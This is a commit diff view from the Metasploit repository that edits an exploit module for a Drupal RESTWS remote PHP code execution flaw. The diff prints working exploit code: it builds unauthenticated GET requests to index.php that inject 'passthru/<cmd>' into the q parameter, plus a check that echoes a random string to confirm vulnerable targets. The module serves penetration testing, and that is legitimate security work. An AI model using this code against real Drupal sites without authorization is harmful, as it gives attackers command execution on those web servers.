Skip to content

Commit 0898162

Browse files
committed
Remove double spaces and fix checkcode
1 parent 9c8e351 commit 0898162

File tree

1 file changed

+12
-10
lines changed

1 file changed

+12
-10
lines changed

modules/exploits/unix/webapp/drupal_restws_exec.rb

Lines changed: 12 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -3,8 +3,6 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
require 'msf/core'
7-
86
class MetasploitModule < Msf::Exploit::Remote
97
Rank = ExcellentRanking
108

@@ -14,13 +12,17 @@ def initialize(info={})
1412
super(update_info(info,
1513
'Name' => 'Drupal RESTWS Module 7.x Remote PHP Code Execution',
1614
'Description' => %q{
17-
This module exploits the Drupal RESTWS module vulnerability.
15+
This module exploits a Remote PHP Code Execution vulnerability in
16+
Drupal RESTWS Module. Unauthenticated users can execute arbitrary code
17+
under the context of the web server user.
18+
1819
RESTWS alters the default page callbacks for entities to provide
1920
additional functionality. A vulnerability in this approach allows
2021
an unauthenticated attacker to send specially crafted requests resulting
21-
in arbitrary PHP execution
22+
in arbitrary PHP execution. RESTWS 2.x prior to 2.6 and 1.x prior to 1.7
23+
versions are affected by issue.
2224
23-
This module was tested against RESTWS 7.x with Drupal 7.5 installation on Ubuntu server.
25+
This module was tested against RESTWS 2.5 with Drupal 7.5 installation on Ubuntu server.
2426
},
2527
'License' => MSF_LICENSE,
2628
'Author' =>
@@ -47,7 +49,7 @@ def initialize(info={})
4749
register_options(
4850
[
4951
OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/'])
50-
], self.class
52+
]
5153
)
5254
end
5355

@@ -57,11 +59,11 @@ def check
5759
'method' => 'GET',
5860
'uri' => normalize_uri(target_uri.path, "index.php"),
5961
'vars_get' => {
60-
'q' => "taxonomy_vocabulary/#{r}/passthru/echo #{r}"
62+
'q' => "taxonomy_vocabulary/#{r}/passthru/echo #{r}"
6163
}
6264
)
63-
if res && res.body =~ /#{r}/
64-
return Exploit::CheckCode::Appears
65+
if res && res.body.include?(r)
66+
return Exploit::CheckCode::Vulnerable
6567
end
6668
return Exploit::CheckCode::Safe
6769
end
@@ -73,7 +75,7 @@ def exploit
7375
'method' => 'GET',
7476
'uri' => normalize_uri(target_uri.path, "index.php"),
7577
'vars_get' => {
76-
'q' => "taxonomy_vocabulary/#{random}/passthru/#{cmd}"
78+
'q' => "taxonomy_vocabulary/#{random}/passthru/#{cmd}"
7779
}
7880
)
7981
end

0 commit comments

Comments
 (0)